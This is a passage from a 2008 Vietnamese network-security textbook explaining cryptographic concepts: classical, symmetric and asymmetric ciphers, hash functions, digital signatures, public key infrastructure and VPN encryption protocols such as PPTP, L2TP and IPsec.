C (Ciphertext) là tập hợp hữu hạn các bản mã có thể.

K (Key) là tập hợp các bản khoá có thể.

E (Encrytion) là tập hợp các qui tắc mã hoá có thể.

D (Decrytion) là tập hợp các qui tắc giải mã có thể.

Chúng ta đã biết một thông báo thường được tổ chức dưới dạng bản rõ. Người gửi

sẽ làm nhiệm vụ mã hoá bản rõ, kết quả thu được gọi là bản mã. Bản mã này được

gửi đi trên một đường truyền tới người nhận sau khi nhận được bản mã người nhận

giải mã nó để tìm hiểu nội dung.

Dễ dàng thấy được công việc trên khi sử dụng định nghĩa hệ mật mã :

EK( P) = C và DK( C ) = P

Page 85: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

85

CHƯƠNG 2. CÁC THUẬT TOÁN MÃ HÓA

1. Khái niệm

- Một thuật toán mã hóa là một quy tắc, một hệ thống hoặc là một cơ chế được sử

dụng để mã hóa thông tin.

- Độ an toàn của thuật toán: Nguyên tắc đầu tiên trong mã hoá là “Thuật toán nào

cũng có thể bị phá vỡ”. Các thuật toán khác nhau cung cấp mức độ an toàn khác

nhau, phụ thuộc vào độ phức tạp để phá vỡ chúng. Tại một thời điểm, độ an toàn

của một thuật toán phụ thuộc:

+ Nếu chi phí hay phí tổn cần thiết để phá vỡ một thuật toán lớn hơn giá trị

của thông tin đã mã hóa thuật toán thì thuật toán đó tạm thời được coi là an toàn.

+ Nếu thời gian cần thiết dung để phá vỡ một thuật toán là quá lâu thì thuật

toán đó tạm thời được coi là an toàn.

+ Nếu lượng dữ liệu cần thiết để phá vỡ một thuật toán quá lơn so với lượng

dữ liệu đã được mã hoá thì thuật toán đó tạm thời được coi là an toàn

Từ tạm thời ở đây có nghĩa là độ an toàn của thuật toán đó chỉ đúng trong một thời

điểm nhất định nào đó, luôn luôn có khả năng cho phép những người phá mã tìm ra

cách để phá vỡ thuật toán. Điều này chỉ phụ thuộc vào thời gian, công sức, lòng

đam mê cũng như tính kiên trì bên bỉ. Càng ngày tốc độ xử lý của CPU càng cao,

tốc độ tính toán của máy tính ngày càng nhanh, cho nên không ai dám khẳng định

chắc chắn một điều rằng thuật toán mà mình xây dựng sẽ an toàn mãi mãi.

Khóa : Đặc biệt, độ an toàn của thuật toán mã hóa còn phụ thuộc vào độ dài của

khóa. Một khóa mã hóa là một phần thông tin đặc biệt được kết hợp với một thuật

toán để thi hành mã hóa và giải mã. Sử dụng khóa càng phức tạp, mã hóa càng

mạnh.

+ Ví dụ: Xét phương pháp mã hóa sau: “thay thế mỗi ký tự xuất hiện trong xâu

bằng ký tự đứng sau nó 3 ký tự theo bảng chữ cái alphabet”. Ở đây thuật toán là

chuyển dịch ký tự, và khóa là 3 ký tự về phía sau.

Page 86: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

86

2. Phân loại các thuật toán mã hoá

Có rất nhiều các thuật toán mã hoá khác nhau. Từ những thuật toán được công khai

để mọi người cung sử dụng và áp dụng như là một chuẩn chung cho việc mã hoá

dữ liệu; đến những thuật toán mã hoá không được công bố. Có thể phân loại các

thuật toán mã hoá như sau:

Mã hoá cổ điển (Classical cryptography)

Mã hoá đối xứng (Symetric cryptography)

Mã hoá bất đối xứng(Asymetric cryptography)

Hàm băm (Hash function)

2.1. Mã hóa cổ điển

Xuất hiện trong lịch sử, các phương pháp này không dung khoá. Thuật toán đơn

giản và dễ hiểu. Những từ chính các phương pháp mã hoá này đã giúp chúng ta

tiếp cận với các thuật toán mã hoá đối xứng được sử dụng ngày nay. Trong mã hoá

cổ điển có 02 phương pháp nổi bật đó là:

- Mã hoá thay thế (Substitution Cipher):

Là phương pháp mà từng kí tự (hay từng nhóm kí tự) trong bản rõ (Plaintext) được

thay thế bằng một kí tự (hay một nhóm kí tự) khác để tạo ra bản mờ (Ciphertext).

Bên nhận chỉ cần đảo ngược trình tự thay thế trên Ciphertext để có được Plaintext

ban đầu.

- Mã hoá hoán vị (Transposition Cipher):

Bên cạnh phương pháp mã hoá thay thế thì trong mã hoá cổ điển có một phương

pháp khác nữa cũng nổi tiếng không kém, đó chính là mã hoá hoán vị. Nếu như

trong phương pháp mã hoá thay thế, các kí tự trong Plaintext được thay thế hoàn

toàn bằng các kí tự trong Ciphertext, thì trong phương pháp mã hoá hoán vị, các kí

Page 87: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

87

tự trong Plaintext vẫn được giữ nguyên, chúng chỉ được sắp xếp lại vị trí để tạo ra

Ciphertext. Tức là các kí tự trong Plaintext hoàn toàn không bị thay đổi bằng kí tự

khác.

2.2. Mã hóa đối xứng

Thuật toán đối xứng (Symetric cryptography) là thuật toán mà tại đó khoá mã hoá

có thể tính toán ra được từ khoá giải mã. Trong rất nhiều trường hợp, khoá mã hoá

và khoá giải mã là giống nhau. Thuật toán này còn có nhiều tên gọi khác như thuật

toán khoá bí mật (Private-key Cryptography), thuật toán khoá đơn giản, thuật toán

một khoá. Thuật toán này yêu cầu người gửi và người nhận phải thoả thuận một

khoá trước khi thông báo được gửi đi, và khoá này phải được cất giữ bí mật. Độ an

toàn của thuật toán này vẫn phụ thuộc và khoá, nếu để lộ ra khoá này nghĩa là bất

kỳ người nào cũng có thể mã hoá và giải mã thông báo trong hệ thống mã hoá.

Sự mã hoá và giải mã của thuật toán đối xứng biểu thị bởi :

EK( P ) = C

DK( C ) = P

Mã hoá và giải mã với khoá đối xứng

Trong hình vẽ trên thì :

K1có thể trung K2, hoặc

K1 có thể tính toán từ K2, hoặc

K2 có thể tính toán từ K1.

Mã hoá Mã hoá Bản rõ Bản

Bản rõ gốc

K1 K2

Page 88: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

88

Mã hoá đối xứng có thể được phân thành 02 loại:

- Loại thứ nhất tác động trên bản rõ theo từng nhóm bits. Từng nhóm bits

này được gọi với một cái tên khác là khối (Block) và thuật toán được áp dụng gọi

là Block Cipher. Theo đó, từng khối dữ liệu trong văn bản bản đầu được thay thế

bằng một khối dữ liệu khác có cung độ dài. Đối với các thuật toán ngày nay thì

kích thước chung của một Block là 64 bits.

- Loại thứ hai tác động lên bản rõ theo từng bit một. Các thuật toán áp dụng

được gọi là Stream Cipher. Theo đó, dữ liệu của văn bản được mã hoá từng bit

một. Các thuật toán mã hoá dòng này có tốc độ nhanh hơn các thuật toán mã hoá

khối và nó thường được áp dụng khi lượng dữ liệu cần mã hoá chưa biết trước.

Một số thuật toán nổi tiếng trong mã hoá đối xứng

- DES: viết tắt của Data Encryption Standard. Với DES, bản rõ (Plaintext) được

mã hoá theo từng khối 64 bits và sử dụng một khoá là 64 bits, nhưng thực tế thì chỉ

có 56 bits là thực sự được dung để tạo khoá, 8 bits còn lại dung để kiểm tra tính

chẵn, le. DES là một thuật toán được sử dụng rộng rãi nhất trên thế giới. Hiện tại

DES không còn được đánh giá cao do kích thước của khoá quá nhỏ 56 bits, và dễ

dàng bị phá vỡ.

- Triple DES (3DES): 3DES cải thiện độ mạnh của DES bằng việc sử dụng một

quá trình mã hoá và giải mã sử dụng 3 khoá. Khối 64-bits của bản rõ đầu tiên sẽ

được mã hoá sử dụng khoá thứ nhất. Sau đó, dữ liệu bị mã hóa được mã hóa tiếp

bằng việc sử dụng một khoá thứ hai. Cuối cung, sử dụng khoá thứ ba và kết quả

của quá trình mã hoá trên để mã hoá.

Sự mã hoá và giải mã của thuật toán 3DES biểu thị bởi công thức:

C = EK3(EK2(EK1(P)))

P = DK1(DK2(DK3(C)))

Page 89: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

89

- AES: Viết tắt của Advanced Encryption Standard, được sử dụng để thay thế cho

3DES. Nó hỗ trợ độ dài của khoá từ 128 bits cho đến 256 bits. AES cũng được gọi

là Rijndael (phát âm là Rain-Doll) theo tên người tạo ra nó.

- Rivest Cipher (RC) 4, 5 và 6: Bao gồm một series được phát triển bởi Ronald

Rivest. Mỗi thế hệ RC có độ dài khóa khác nhau. RC4 là một Stream Cypher, RC5

và 6 là các Block Cypher với độ dài khóa khác nhau.

Mã hóa và giải mã của thuật toán 3DES

- Ngoài ra, còn có một số thuật toán mã hóa được biết đến nhiều khác như: Skip-

Jack, Blowfish, CAST-128…

Một số nhược điểm của hệ mã hoá cổ điển

- Các phương mã hoá cổ điển đòi hỏi người mã hoá và người giải mã phải cung

chung một khoá. Khi đó khoá phải được giữ bí mật tuyệt đối, do vậy ta dễ dàng

xác định một khoá nếu biết khoá kia.

Page 90: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

90

- Hệ mã hoá đối xứng không bảo vệ được sự an toàn nếu có xác suất cao khoá

người gửi bị lộ. Trong hệ khoá phải được gửi đi trên kênh an toàn nếu ke địch tấn

công trên kênh này có thể phát hiện ra khoá.

- Vấn đề quản lý và phân phối khoá là khó khăn và phức tạp khi sử dụng hệ mã hoá

cổ điển. Người gửi và người nhận luôn luôn thông nhất với nhau về vấn đề khoá.

Việc thay đổi khoá là rất khó và dễ bị lộ.

- Khuynh hướng cung cấp khoá dài mà nó phải được thay đổi thường xuyên cho

mọi người trong khi vẫn duy trì cả tính an toàn lẫn hiệu quả chi phí sẽ cản trở rất

nhiều tới việc phát triển hệ mật mã đối xứng.

2.3. Mã hóa bất đối xứng

Vào những năm 1970 Diffie và Hellman đã phát minh ra một hệ mã hoá mới được

gọi là hệ mã hoá công khai hay hệ mã hoá phi đối xứng.

Thuật toán mã hoá công khai là khác biệt so với thuật toán đối xứng. Chúng được

thiết kế sao cho khoá sử dụng vào việc mã hoá là khác so với khoá giải mã. Hơn

nữa khoá giải mã không thể tính toán được từ khoá mã hoá. Chúng được gọi với

tên hệ thống mã hoá công khai bởi vì khoá để mã hoá có thể công khai, một người

bất kỳ có thể sử dụng khoá công khai để mã hoá thông báo, nhưng chỉ một vài

người có đúng khoá giải mã thì mới có khả năng giải mã. Trong nhiều hệ thống,

khoá mã hoá gọi là khoá công khai (public key), khoá giải mã thường được gọi là

khoá riêng (private key).

Mã hoá và giải mã với hai khoá

Trong hình vẽ trên thì :

Mã hoá Giải mã Bản rõ Bản

Bản rõ gốc

K1 K2

Page 91: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

91

K1 không thể trung K2, hoặc

K2 không thể tính toán từ K1.

Đặc trưng nổi bật của hệ mã hoá công khai là cả khoá công khai(public key) và bản

tin mã hoá (ciphertext) đều có thể gửi đi trên một kênh thông tin không an toàn.

Diffie và Hellman đã xác đinh rõ các điều kiện của một hệ mã hoá công khai

như sau :

1. Việc tính toán ra cặp khoá công khai KB và bí mật kB dựa trên cơ sở các

điều kiện ban đầu phải được thực hiện một cách dễ dàng, nghĩa là thực

hiện trong thời gian đa thức.

2. Người gửi A có được khoá công khai của người nhận B và có bản tin P

cần gửi đi thì có thể dễ dàng tạo ra được bản mã C.

C = EKB (P)

3. Người nhận B khi nhận được bản tin mã hóa C với khoá bí mật kB của

mình thì có thể giải mã bản tin.

P = DkB (C)

4. Nếu ke địch biết khoá công khai KB cố gắng tính toán khoá bí mật kB thì

khi đó chúng phải đương đầu với trường hợp nan giải, trường hợp này

đòi hỏi nhiều yêu cầu không khả thi về thời gian.

5. Nếu ke địch biết được cặp (KB,C) và cố gắng tính toán ra bản rõ P thì giải

quyết bài toán khó với số phép thử là vô cung lớn, do đó không khả thi.

Một số thuật toán nổi tiếng trong mã hoá bất đối xứng:

- Rivest Shamir Adelman (RSA): Được đặt theo tên của người thiết kế là Ronald

Rivest, Adi Shamir, và Len Adelman. RSA là thuật toán thành công đầu tiên sử

dụng thuật toán mã hóa khóa công khai. Nó có độ dài khóa khác nhau cũng như

các kích cỡ khối khác nhau. RSA được coi là thuật toán có độ bảo mật cao khi

dung với các khóa có độ dài lớn.

Page 92: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

92

- Diffie-Hellman: Là một giao thức mã hóa cung cấp khóa chuyển đổi an toàn.

Được mô tả vào năm 1976 và hình thành dựa trên nền tảng của kỹ thuật mã hóa

khóa công khai phổ biến bao gồm cả RSA.

- Elgamal: Là một thuật toán mã hóa khóa công khai được phát triển bởi Taher

Elgamal. Nó cũng dựa trên nền tảng của Diffie-Hellman.

- Paillier Cryptosystem: Là thuật toán mã hóa khóa công khai được phát triển bởi

Pascal Paillier.

2.4. Mã hóa hàm băm (Hash Function)

Trong ngành mật mã học, một hàm băm mật mã học (Cryptographic hash function)

là một hàm băm với một số tính chất bảo mật nhất định để phu hợp việc sử dụng

trong nhiều ứng dụng bảo mật thông tin đa dạng, chẳng hạn như chứng thực

(authentication) và kiểm tra tính nguyên vẹn của thông điệp (message integrity).

Một hàm băm nhận đầu vào là một xâu ký tự dài (hay thông điệp) có độ dài tuy ý

và tạo ra kết quả là một xâu ký tự có độ dài cố định, đôi khi được gọi là tóm tắt

thông điệp (message digest) hoặc chữ ký số (digital fingerprint).

Thuật toán băm một chiều (hash) cho giá trị kết quả đầu ra có kích thước không

đổi theo đầu vào trên nguyên tắc:

- Giá trị đầu ra là không đổi khi giữ nguyên vẹn giá trị đầu vào cho du thuật toán

được thực hiện vào bất cứ thời điểm nào.

Page 93: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

93

- Sử dụng hàm băm một chiều, không thể tính toán ngược từ giá trị đầu ra để biết

được giá trị đầu vào.

- Không thể tính toán hai đầu vào khác nhau để có cung một giá trị hash khi thực

hiện cung một thuật toán băm.

Trong nhiều chuẩn và ứng dụng, hai hàm băm thông dụng nhất là MD5 và

SHA-1:

- MD5: Thuật toán MD5 tạo thành một dạng thông điệp được mã hóa với 128-bit,

được phát triển bởi Ronald Rivest và hiện đang là công nghệ được sử dụng rộng

rãi.

- SHA-1: Thuật toán SHA-1 được phát triển dựa trên MD5 nhưng với độ an toàn

cao hơn rất nhiều. SHA-1 tạo giá trị hash với 160-bit trong khi đó SHA-256, SHA-

384, SHA-512 tạo các giá trị hash tương ứng là 256, 384, 512-bit.

Một số ứng dụng của hàm hash:

• Chống và phát hiện xâm nhập: chương trình chống xâm nhập so sánh giá trị hash

của một file với giá trị trước đó để kiểm tra xem file đó có bị ai đó thay đổi hay

không.

• Bảo vệ tính toàn vẹn của thông điệp được gửi qua mạng bằng cách kiểm tra giá

trị hash của thông điệp trước và sau khi gửi nhằm phát hiện những thay đổi cho du

là nhỏ nhất.

• Tạo chìa khóa từ mật khẩu.

• Tạo chữ ký điện tử.

2.5. Chữ ký điện tử

Ở phần trên, chúng ta đã nhắc nhiều đến chữ ký điện tử. Vậy chữ ký điện tử là gì?

Tại sao nó lại quan trọng như vậy?

Page 94: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

94

Chữ ký điện tử đơn giản là dữ liệu dạng điện tử được đính kèm hoặc kết hợp một

cách logíc với các dữ liệu điện tử khác và nó được coi là phương pháp xác thực.

Chữ ký điện tử tương tự như chữ ký thông thường (chữ ký tay) ở các tính chất sau:

+ Chữ ký là bằng chứng thể hiện người ký có chủ định khi ký lên văn bản (trừ

trường hợp bị cưỡng ép ký)

+ Chữ ký thể hiện “chủ quyền” (làm cho người nhận văn bản biết rằng ai đích thị

là người đã ký vào văn bản)

+ Chữ ký không thể tái sử dụng. Nó là một phần của văn bản, không thể sao chép

sang các văn bản khác.

+ Văn bản đã ký không thể thay đổi được (văn bản đã ký bị tẩy xóa, sửa đổi mặc

định sẽ vô hiệu hóa chữ ký)

+ Chữ ký không thể giả mạo và cũng là thứ không thể thoái thác (chối bỏ) (người

ký không thể phủ định việc mình đã ký vào văn bản)

Cách thức xây dựng chữ ký điện tử dựa trên ý tưởng của Deffie và Hellman như

sau:

- Người gửi ký vào văn bản bằng cách mã hóa nó với khóa riêng của mình.

- Người gửi truyền văn bản đã ký cho người nhận.

Người nhận dung khóa công khai của người gửi để giải mã văn bản, kiểm tra chữ

ký của người nhận.

Trong thực tế, nhằm tăng tốc độ ký đối với văn bản dài, người ta thường sử dụng

hàm băm để biến đổi văn bản cần ký thành một chuỗi nhị phân không lớn (không

quá 256 bits). Hàm băm có đặc tính là tạo ra chuỗi nhị phân là đại diện duy nhất và

phản ánh trung thành mọi thay đổi của văn bản. Có thể hiểu rõ hơn khi phân tích

mô hình chữ ký điện tử sau:

Page 95: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

95

(1) Người gửi A đưa toàn bộ dữ liệu qua hàm băm 1 chiều để tạo ra một chuỗi

nhị phân (Digest) có độ dài 128 hoặc 256 bits và có tính duy nhất.

(2) Ngưởi gửi A sẽ mã hóa Digest này bằng khóa riêng của mình. Đây chính là

chữ ký điện tử của A.

(3) Người gửi A gửi đồng thời dữ liệu ban đầu và chữ ký điện tử của mình cho

B.

(4) Người nhận B sẽ sử dụng khóa công khai của A để giải mã chữ ký điện tử

của A thành chuỗi nhị phân (Digest1).

(5) Người nhận B đồng thời đưa toàn bộ dữ liệu nhận được qua hàm băm 1

chiều để nhận được chuỗi nhị phân (Digest2)

(6) B so sánh 2 chuỗi nhị phân thu được. 2 chuỗi này sẽ không thể giống nhau

nếu:

- Khóa giải mã không cung cặp với khóa mã hóa không phải người gửi A

ký. Đây chính là tính xác thực và tính không thể thoái thác.

- Nội dung của dữ liệu không còn nguyên vẹn sau khi ký. Đây chính là

tính toàn vẹn dữ liệu.

Phía người gửi A

Phía người nhận B

Page 96: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

96

Tóm lại, cung với chứng thực điện tử, công nghệ mã hóa, chữ ký điện tử là

một thành phần không thể thiếu của thanh toán và thương mại điện tử trong những

năm tới.

Page 97: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

97

CHƯƠNG 3. HẠ TẦNG KHÓA CÔNG KHAI PKI

1. Tổng quan về PKI

Public Key Infrastructure (PKI) là một cơ chế để cho một bên thứ ba (thường là

nhà cung cấp chứng thực số ) cung cấp và xác thực định danh các bên tham gia vào

quá trình trao đổi thông tin. Cơ chế này cũng cho phép gán cho mỗi người sử dụng

trong hệ thống một cặp public/private. Các quá trình này thường được thực hiện

bởi một phần mềm đặt tại trung tâm và các phần mềm khác tại các địa điểm của

người dung. Khoá công khai thường được phân phối trong chứng thực khóa công

khai – hay Public Key Infrastructure.

Khái niệm hạ tầng khoá công khai (PKI) thường được dung chỉ toàn bộ hệ thống

bao gồm cả nhà cung cấp chứng thực số (CA) cung các cơ chế liên quan đồng thời

với toàn bộ việc sử dụng các thuật toán mã hoá công khai trong trao đổi thông tin.

2. Các thành phần và hoạt động của PKI

Nền tảng của PKI là Certification Authority (CA) hay nhà cung cấp chứng chỉ

số. CA phát hành các giấy chứng nhận điện tử (Digital Certificate) . Nó có thể

thuộc riêng về một doanh nghiệp hoặc thuộc một tổ chức thuộc bên ngoài các

Page 98: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

98

doanh nghiệp (chuyên cung cấp dịch vụ trong lĩnh vực này). Các CA có thể uỷ

nhiệm sự tin cậy cho nhau thông qua kiến trúc phân cấp. CA gốc (root CA) là CA

cung cấp trực tiếp các giấy chứng nhận điện tử cho doanh nghiệp, CA phụ thuộc

(subordinate CA) là CA được công nhận gián tiếp thông qua mối liên hệ với CA

gốc. CA gốc có thể mặc nhiên được công nhận (đối với nội bộ doanh nghiệp). Các

CA phụ thuộc được công nhận thông qua chứng nhận của CA gốc và tạo nên chuỗi

các CA uỷ thác.

Mỗi khi tạo ra một giấy chứng nhận điện tử mới, một cặp khoá mã được phát ra

cho mỗi thực thể (PKI Client) - thiết bị VPN, máy chủ Web, người sử dụng thư

điện tử ... Những thực thể sẽ giữ các khoá riêng (private key) dung để tạo ra chữ ký

điện tử. Còn khoá công khai (public key), tên của thực thể, tên của CA phát hành,

tất cả sẽ được tập hợp trong giấy chứng nhận điện tử, và tất cả sẽ được xác nhận

thông qua chữ ký điện tử của chính CA.

Với mục đích tránh sự không công nhận của mỗi thực thể, chỉ có chính bản thân họ

mới được sử dụng đến khoá bảo mật riêng. Với cách làm như vậy, các thực thể

không thể phủ nhận được việc đã "ký" tên vào thông điệp vì không ai khác có thể

"ký" như vậy được. Cũng chính vì nguyên nhân như vậy, mã khoá riêng này cần

được lưu giữ an toàn. Khi mã khoá này bị lộ vì một nguyên nhân nào đó, giấy

chứng nhận điện tử cần phải được thu hồi.

Hình minh họa mô hình hoạt động của PKI

Page 99: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

99

Chức nǎng quản lý được giao cho RA - Thành phần cấp quyền đǎng nhập

(Registration Authorities). RA có nhiệm vụ quản trị việc đǎng ký tên, khởi tạo

hoặc lưu trữ các cặp khoá mã, xác nhận các thực thể trong giai đoạn đǎng ký, yêu

cầu CA cấp chứng nhận, chuyển các khoá mã đến các thực thể, khởi tạo hoặc thu

hồi các giấy chứng nhận điện tử. RA là một cơ chế hỗ trợ CA rất hiệu quả, và cũng

như trường hợp trên, do yêu cầu bảo mật, RA và CA thường cũng được phân cách

nhau cả về mặt vật lý và do các nhóm quản trị mạng khác nhau chịu trách nhiệm.

Chứng chỉ số là một tệp tin điện tử dung để xác minh danh tính một cá nhân, một

máy chủ, một công ty... trên Internet. Nó giống như bằng lái xe, hộ chiếu, chứng

minh thư hay những giấy tờ xác minh cá nhân.

Để có chứng minh thư, bạn phải được cơ quan Công An sở tại cấp. Chứng chỉ số

cũng vậy, phải do một tổ chức đứng ra chứng nhận những thông tin của bạn là

chính xác, được gọi là Nhà cung cấp chứng thực số (Certificate Authority, viết tắt

là CA). CA phải đảm bảo về độ tin cậy, chịu trách nhiệm về độ chính xác của

chứng chỉ số mà mình cấp.

Trong chứng chỉ số có ba thành phần chính:

* Thông tin cá nhân của người được cấp

* Khoá công khai (Public key) của người được cấp

* Chữ ký số của CA cấp chứng chỉ

A. Thông tin cá nhân

Đây là các thông tin của đối tượng được cấp chứng chỉ số, gồm tên, quốc tịch, địa

chỉ, điện thoại, email, tên tổ chức .v.v. Phần này giống như các thông tin trên

chứng minh thư của mỗi người.

B. Khoá công khai

Trong khái niệm mật mã, khoá công khai là một giá trị được nhà cung cấp chứng

thực đưa ra như một khoá mã hoá, kết hợp cung với một khoá cá nhân duy nhất

được tạo ra từ khoá công khai để tạo thành cặp mã khoá bất đối xứng.

Nguyên lý hoạt động của khoá công khai trong chứng chỉ số là hai bên giao dịch

phải biết khoá công khai của nhau. Bên A muốn gửi cho bên B thì phải dung khoá

Page 100: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

100

công khai của bên B để mã hoá thông tin. Bên B sẽ dung khoá cá nhân của mình để

mở thông tin đó ra. Tính bất đối xứng trong mã hoá thể hiện ở chỗ khoá cá nhân có

thể giải mã dữ liệu được mã hoá bằng khoá công khai (trong cung một cặp khoá

duy nhất mà một cá nhân sở hữu), nhưng khoá công khai không có khả năng giải

mã lại thông tin, kể cả những thông tin do chính khoá công khai đó đã mã hoá. Đây

là đặc tính cần thiết vì có thể nhiều cá nhân B,C, D... cung thực hiện giao dịch và

có khoá công khai của A, nhưng C,D... không thể giải mã được các thông tin mà B

gửi cho A du cho đã chặn bắt được các gói thông tin gửi đi trên mạng.

Chữ ký số của CA cấp chứng chỉ

Còn gọi là chứng chỉ gốc. Đây chính là sự xác nhận của CA, bảo đảm tính chính

xác và hợp lệ của chứng chỉ. Muốn kiểm tra một chứng chỉ số, trước tiên phải kiểm

tra chữ ký số của CA có hợp lệ hay không. Trên chứng minh thư, đây chính là con

dấu xác nhận của Công An Tỉnh hoặc Thành phố mà bạn trực thuộc. Về nguyên

tắc, khi kiểm tra chứng minh thư, đúng ra đầu tiên phải là xem con dấu này, để biết

chứng minh thư có bị làm giả hay không.

3. Một số hệ thống PKI

Dưới đây là danh sách một số hệ thống PKI, trong đó một số nhà cung cấp chứng

thực số hàng đầu (ví dụ VeriSign) không được liệt kê vì các phần mềm của họ

không được công bố công khai.

Hệ thống quản lý chứng thực Red Hat

Computer Associates eTrust PKI

Entrust

Microsoft

US Government External Certificate Authority (ECA)

Nexus

OpenCA (Một mô hình PKI mã nguồn mở)

RSA Security

phpki

GenCerti

ejbca

newpki

Papyrus CA Software

pyCA

Page 101: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

101

IDX-PKI

EuropePKI (not available)

TinyCA

ElyCA

SimpleCA

SeguriData

Safelayer Secure Communications

4. Kết luận

Mục tiêu chính của PKI là cung cấp khóa công khai và xác định mối liên hệ giữa

khóa và định dạng người dung. Nhờ vậy người dung có thể sử dụng trong một số

ứng dụng như:

a. Mã hóa Email hoặc xác thực người gửi Email (OpenPGP or S/MIME).

b. Mã hóa hoặc nhận thực văn bản.

c. Xác thực người dung ứng dụng (Đăng nhập bằng the thông minh, nhận thực

người dung trong SSL).

d. Các giao thức truyền thông an toàn dung kỹ thuật Bootstrapping (IKE, SSL):

trao đổi khóa bằng khóa bất đối xứng, còn mã hóa bằng khóa đối xứng.

Với những ưu điểm của mình, Cơ sở Hạ tầng khóa công khai còn đóng một vai trò

quan trọng trong việc quyết định thành công của thanh toán và thương mại điện tử.

Page 102: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

102

CHƯƠNG 4. TIÊU CHUẨN VÀ CÁC GIAO THỨC

1. Tiêu chuẩn mã hóa

- Các tiêu chuẩn mã hóa thường được phát triển và công bố bởi các tổ chức uy tín

như:

+ Các tổ chức của chính phủ, quân đội (ví dụ: National Security Agency –

NSA, National Institute of Standards and Technology- NIST)

+ Các hiệp hội (ví dụ: Internet Engineering Task Force – IETF, Institute of

Electrical and Electronics Engineering – IEEE)

+ Các tổ chức công cộng (ví dụ: Pretty Good Privacy – PGP, RSA)

- Một số tiêu chuẩn mã hóa phổ biến gồm có:

+ PKIX/PKCS:

PKIX: Public Key Infrastructure X.509: là một hệ thống các tiêu chuẩn của

IETF.

PKCS: Public Key Crytography Standards: là một hệ thống tiêu chuẩn của

RSA.

+ X.509:

Định nghĩa cấu trúc và các trường trong khóa công khai (Public Key)

Định nghĩa thủ tục phân phối, thu hồi, quản lý khóa…

2. Các giao thức mã hóa

2.1. Khái niệm

Giao thức (Protocol) là một loạt các bước, bao gồm hai hoặc nhiều người, thiết kế

để hoàn thành nhiệm vụ . “Một loạt các bước” nghĩa là Protocol thực hiện theo một

tuần tự, từ khi bắt đầu cho tới lúc kết thúc. Mỗi bước phải được thực hiện tuần tự

và không có bước nào được thực hiện trước khi bước trước đó đã hoàn thành. “Bao

Page 103: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

103

gồm hai hay nhiều người” nghĩa là cần ít nhất hai người hoàn thành protocol, một

người không thể tạo ra được một Protocol. Và chắc chắn rằng một người có thể

thực hiện một loạt các bước để hoàn thành nhiệm vụ, nhưng đó không phải là

Protocol. Cuối cung “thiết kế để hoàn thành nhiệm vụ” nghĩa là mỗi Protocol phải

làm một vài điều gì đó.

Giao thức mã hóa là giao thức sử dụng cho hệ thống mã hóa, nó bao gồm các thuật

toán mã hóa.

2.2. Các giao thức mã hóa phổ biến

2.2.1. Giao thức mã hóa lớp 2 mô hình OSI

Layer 2 Forwarding: L2F là giao thức được phát triển bởi Cisco System

cung lúc với sự phát triển PPTP của Microsoft. Đây là một giao thức cho

phép các máy khách ở xa có thể truy cập đến mạng Intranet của một tổ chức

thông qua cơ sở hạ tầng mạng công cộng với tính bảo mật cao và khả năng

quản lý chặt chẽ. Bởi vì là một giao thức lớp 2, L2F có thể được dung cho

các giao thức khác ngoài IP như IPX, NetBEUI. L2F mã hóa bằng thuật

toán DES (56-bit) và cả IPSEC với các IOS đời mới.

Point to Point Tunneling Protocol: PPTP là giao thức được phát triển bới

Microsoft. PPTP thường được dung cho các kết nối VPN, nó hoạt động ở

lớp 2 mô hình OSI. PPTP sử dụng MPPE (Microsoft Point-to-Point

Encryption) cho việc mã hóa các đường kết nối PPP (thực chất là sử dụng

thuật toán mã hóa RC 4 với độ dài khóa là 40 hoặc 128-bit.

Layer 2 Tunneling Protocol (L2TP): L2TP là sự kết hợp của PPTP và L2F.

Giao thức này so với PPTP có nhiều đặc tính an toàn hơn. Trong khi PPTP

dung MPPE cho việc mã hóa, L2TP lại dựa vào một giải pháp bảo mật hơn,

đó là các gói tin L2TP được bảo vệ bởi IPSEC. Đây là việc kết hợp các ưu

điểm bảo mật của IPSEC và các lợi ích của các giao thức chứng thực người

dung của PPTP đó là LTLM, PAP, CHAP.... L2TP/IPsec được coi là giao

thức dung trong VPN phổ biến nhất hiện nay.

2.2.2. Giao thức mã hóa lớp 3 : IPSEC

Page 104: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

104

IPSEC mã hóa dữ liệu ở lớp 3, cung cấp 1 giải pháp bảo mật kết nối một

cách toàn diện, qua đó cung cấp cơ chế xác thực dữ liệu, tính toàn vẹn, bí

mật của dữ liệu … IPSec là một trong những công nghệ VPN phổ biến, được

dung nhiều trong hệ thống mạng của các doanh nghiệp, các nhà cung cấp

dịch vụ và cả hệ thống mạng của các tổ chức chính phủ.

Trong quá trình mã hóa và chứng thực dữ liệu, IPSec sử dụng một trong hai,

hoặc cả hai giao thức sau để bảo vệ mật thông tin:

- Authentication Header (AH): Header của gói tin được mã hóa và bảo vệ

phòng chống các trường hợp IP Spoofing (sự giả mạo IP) hay MITM. Tuy

nhiên, trong trường hợp này, chỉ có phần header của gói tin được bảo vệ còn

